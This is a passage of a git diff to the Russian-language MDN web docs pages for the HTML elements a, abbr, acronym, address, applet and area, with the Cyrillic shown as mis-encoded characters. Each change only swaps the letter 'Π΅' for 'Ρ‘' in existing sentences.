Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΈΠΊΠΎΠ½ΠΊΡƒ, ΠΈΠ»ΠΈ внСшняя ссылка ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° с Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ сайта.Β Π­Ρ‚ΠΎΡ‚ элСмСнт Π½Π΅ понимаСтся ΠΈΠ»ΠΈ Π½Π΅ поддСрТиваСтся ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π΄Π°ΠΆΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Internet Explorer 4, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.Β <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534168(VS.85).aspx">ЗначСния <code>methods</code>Β (MSDN)</a>.</dd>
<dt>{{htmlattrdef("urn")}}<strong style="font-size: 14px; font-weight: 700; line-height: 1.5;">Β </strong>{{Non-standard_inline}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉΒ Micosoft, опрСдСляСт ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ названия рСсурса (URN) с ссылкой. Π₯отя ΠΎΠ½ основан Π½Π° стандартах Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π»Π΅Ρ‚ Π½Π°Π·Π°Π΄, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ URN всё Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ, поэтому этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния.Β <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534710(VS.85).aspx">ЗначСния <font face="Consolas, Liberation Mono, Courier, monospace">urn</font>Β (MSDN)</a>.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉΒ Micosoft, опрСдСляСт ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ названия рСсурса (URN) с ссылкой. Π₯отя ΠΎΠ½ основан Π½Π° стандартах Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π»Π΅Ρ‚ Π½Π°Π·Π°Π΄, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ URN всё Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ, поэтому этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния.Β <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534710(VS.85).aspx">ЗначСния <font face="Consolas, Liberation Mono, Courier, monospace">urn</font>Β (MSDN)</a>.</dd>
</dl>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -308,7 +308,7 @@ document.body.appendChild(link);
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("html.elements.a")}}</p>
@@ -379,7 +379,7 @@ document.body.appendChild(link);
<p>HTML 3.2 Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code> ΠΈ <code>title</code>.</p>
-<p>Атрибут <code>target</code> Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Ρ„Ρ€Π΅ΠΉΠΌΡ‹, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Netscape 1 generation. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, <code>target</code> Π½Π΅ допускаСтся Π² «строгих» вариантах <a href="/en/XHTML" title="en/XHTML">XHTML</a>, Π½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ… frameset ΠΈΠ»ΠΈ Β«ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π½Ρ‹Ρ…Β» Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
+<p>Атрибут <code>target</code> Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Ρ„Ρ€Π΅ΠΉΠΌΡ‹, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Netscape 1 generation. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, <code>target</code> Π½Π΅ допускаСтся Π² «строгих» вариантах <a href="/en/XHTML" title="en/XHTML">XHTML</a>, Π½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ… frameset ΠΈΠ»ΠΈ Β«ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π½Ρ‹Ρ…Β» Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
<h3 id="Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ_ΠΏΠΎ_JavaScript">Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ JavaScript</h3>
diff --git a/files/ru/web/html/element/abbr/index.html b/files/ru/web/html/element/abbr/index.html
index bafacbbc6e..0baa39703f 100644
--- a/files/ru/web/html/element/abbr/index.html
+++ b/files/ru/web/html/element/abbr/index.html
@@ -182,5 +182,5 @@ translation_of: Web/HTML/Element/abbr
<ul>
<li><a href="/ru/Learn/HTML/Element/abbr">ИспользованиС элСмСнта &lt;abbr&gt;</a></li>
<li>Π”Ρ€ΡƒΠ³ΠΈΠ΅ <a href="/ru/docs/HTML/Text_level_semantics_conveying_elements" title="HTML/Text level semantics conveying elements">элСмСнты, ΡΠ²Π»ΡΡŽΡ‰ΠΈΠ΅ΡΡ сСмантичСски тСкстовыми</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
- <li>Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ элСмСнт {{HTMLElement("acronym")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π·Π°ΠΌΠ΅Π½Π΅Π½ элСмСнтом <code>&lt;abbr&gt;</code>.</li>
+ <li>Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ элСмСнт {{HTMLElement("acronym")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π·Π°ΠΌΠ΅Π½Ρ‘Π½ элСмСнтом <code>&lt;abbr&gt;</code>.</li>
</ul>
diff --git a/files/ru/web/html/element/acronym/index.html b/files/ru/web/html/element/acronym/index.html
index 2f9af89af9..369030b776 100644
--- a/files/ru/web/html/element/acronym/index.html
+++ b/files/ru/web/html/element/acronym/index.html
@@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/acronym
<ul>
<li>НСкоторыС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Internet Explorer, Π½Π΅ ΡΡ‚ΠΈΠ»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Π³ΠΎ, ΠΈ ΠΎΠ½ выглядит Π½Π΅ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΌΠΎ ΠΎΡ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ {{HTMLElement("span")}}.</li>
- <li>Opera, Firefox ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ.</li>
+ <li>Opera, Firefox ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°ΡŽΡ‚ Π΅Π³ΠΎ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ.</li>
<li>Малая Ρ‡Π°ΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΏΠΎΠΌΠΈΠΌΠΎ подчёркивания Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Π½ΡΡŽΡ‚ Π½Π°Ρ‡Π΅Ρ€Ρ‚Π°Π½ΠΈΠ΅ тСкста Π½Π° ΠΊΠ°ΠΏΠΈΡ‚Π΅Π»ΡŒ (small caps). Π’ΠΎ ΠΈΠ·Π±Π΅ΠΆΠ°Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΎΠ³ΠΎ повСдСния, ΠΊΠ°ΠΊ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ {{cssxref('font-variant')}}<code>: none</code> Π² CSS ΡΡ‚ΠΈΠ»ΡŒ.</li>
</ul>
diff --git a/files/ru/web/html/element/address/index.html b/files/ru/web/html/element/address/index.html
index 2378f1c42d..db0b3f3713 100644
--- a/files/ru/web/html/element/address/index.html
+++ b/files/ru/web/html/element/address/index.html
@@ -11,7 +11,7 @@ translation_of: Web/HTML/Element/address
---
<p id="Summary">{{HTMLRef}}</p>
-<p><strong>HTML- Ρ‚Π΅Π³Β <code>&lt;address&gt;</code>Β  </strong>Π·Π°Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для блиТайшСго Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎΒ {{HTMLElement("article")}} ΠΈΠ»ΠΈΒ {{HTMLElement("body")}} ; Π’ послСднСм случаС примСняСтся ΠΊΠΎ всСму Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ выдСляСтся курсивом.</p>
+<p><strong>HTML- Ρ‚Π΅Π³Β <code>&lt;address&gt;</code>Β  </strong>Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для блиТайшСго Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎΒ {{HTMLElement("article")}} ΠΈΠ»ΠΈΒ {{HTMLElement("body")}} ; Π’ послСднСм случаС примСняСтся ΠΊΠΎ всСму Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ выдСляСтся курсивом.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong></p>
@@ -70,7 +70,7 @@ translation_of: Web/HTML/Element/address
<p><img alt="Image:HTML-address.png" src="/@api/deki/files/238/=HTML-address.png"></p>
-<p>Помимо элСмСнта {{HTMLElement("address")}}, с Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ стандартными стилями ΠΊΠ°ΠΊ ΠΈ ΠΎΠ½ тСкст ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚Β {{HTMLElement("i")}} ΠΈΠ»ΠΈΒ {{HTMLElement("em")}} элСмСнты, Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ,Β ΠΊΠΎΠ³Π΄Π° ΠΈΠΌΠ΅Π΅Ρ‚Π΅ Π΄Π΅Π»ΠΎ с ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ.</p>
+<p>Помимо элСмСнта {{HTMLElement("address")}}, с Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΆΠ΅ стандартными стилями ΠΊΠ°ΠΊ ΠΈ ΠΎΠ½ тСкст ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚Β {{HTMLElement("i")}} ΠΈΠ»ΠΈΒ {{HTMLElement("em")}} элСмСнты, Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ,Β ΠΊΠΎΠ³Π΄Π° ΠΈΠΌΠ΅Π΅Ρ‚Π΅ Π΄Π΅Π»ΠΎ с ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ.</p>
<h2 id="Specifications" name="Specifications">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/html/element/applet/index.html b/files/ru/web/html/element/applet/index.html
index 8ff6d23951..2051209ae0 100644
--- a/files/ru/web/html/element/applet/index.html
+++ b/files/ru/web/html/element/applet/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/applet
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ HTML Π°ΠΏΠΏΠ»Π΅Ρ‚ (&lt;applet&gt;) опрСдСляСт Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π°ΠΏΠΏΠ»Π΅Ρ‚Π° java.</p>
<div class="note">
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: {{htmlelement("applet")}} элСмСнт Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ Π² <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> ΠΈ <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome</a>Β Π² ΠΊΠΎΠ½Ρ†Π΅ 2015 Π³ΠΎΠ΄Π°. Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ рассматриваСтся Π² <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> ΠΈ <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: {{htmlelement("applet")}} элСмСнт Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ Π² <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> ΠΈ <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome</a>Β Π² ΠΊΠΎΠ½Ρ†Π΅ 2015 Π³ΠΎΠ΄Π°. Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ рассматриваСтся Π² <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> ΠΈ <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p>
</div>
<h2 id="Attributes" name="Attributes">Атрибуты</h2>
diff --git a/files/ru/web/html/element/area/index.html b/files/ru/web/html/element/area/index.html
index c161b623e6..052718aaaa 100644
--- a/files/ru/web/html/element/area/index.html
+++ b/files/ru/web/html/element/area/index.html
@@ -3,7 +3,7 @@ title: <area>
slug: Web/HTML/Element/area
translation_of: Web/HTML/Element/area
---
-<div><strong>HTML <code>&lt;area&gt;</code> элСмСнт </strong>опрСдСляСт Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΒ Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ ΠΈ, ΠΏΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ, связываСт Π΅Π΅ с {{Glossary("Hyperlink", "гипСртСкстовой ссылкой")}}.Β Π­Ρ‚ΠΎΡ‚ элСмСнт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{HTMLElement("map")}}.</div>
+<div><strong>HTML <code>&lt;area&gt;</code> элСмСнт </strong>опрСдСляСт Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΒ Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ ΠΈ, ΠΏΡ€ΠΈ ΠΆΠ΅Π»Π°Π½ΠΈΠΈ, связываСт Π΅Ρ‘ с {{Glossary("Hyperlink", "гипСртСкстовой ссылкой")}}.Β Π­Ρ‚ΠΎΡ‚ элСмСнт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{HTMLElement("map")}}.</div>
<div>{{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}</div>
@@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/area
<td><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Content_categories#Flow_content" rel="nofollow">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΠΎΡ‚ΠΎΠΊΠ°</a>, <a href="ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>НСт, это {{Glossary("пустой элСмСнт")}}.</td>
</tr>
<tr>
@@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/area
</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>НСт</td>
</tr>
<tr>
@@ -53,12 +53,12 @@ translation_of: Web/HTML/Element/area
<dl>
<dt>{{htmlattrdef("alt")}}</dt>
- <dd>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° задаСтся Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ тСкст, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ссли ΠΎΠ½ΠΎ Π½Π΅ доступно. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ сформулирован Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Π²Ρ‹Π±ΠΎΡ€, Ρ‡Ρ‚ΠΎ ΠΈΒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ отрисуСтся бСз Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ тСкста. Π’ HTML4 Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ обязатСлСн,Β Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΈ ΠΏΡƒΡΡ‚ΡƒΡŽ строку (""). Π’ HTML5 этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ обязатСлСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <strong>href</strong>.</dd>
+ <dd>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° задаётся Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ тСкст, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ссли ΠΎΠ½ΠΎ Π½Π΅ доступно. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ сформулирован Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Π²Ρ‹Π±ΠΎΡ€, Ρ‡Ρ‚ΠΎ ΠΈΒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ отрисуСтся бСз Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ тСкста. Π’ HTML4 Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ обязатСлСн,Β Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΈ ΠΏΡƒΡΡ‚ΡƒΡŽ строку (""). Π’ HTML5 этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ обязатСлСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <strong>href</strong>.</dd>
</dl>
<dl>
<dt>{{htmlattrdef("coords")}}</dt>
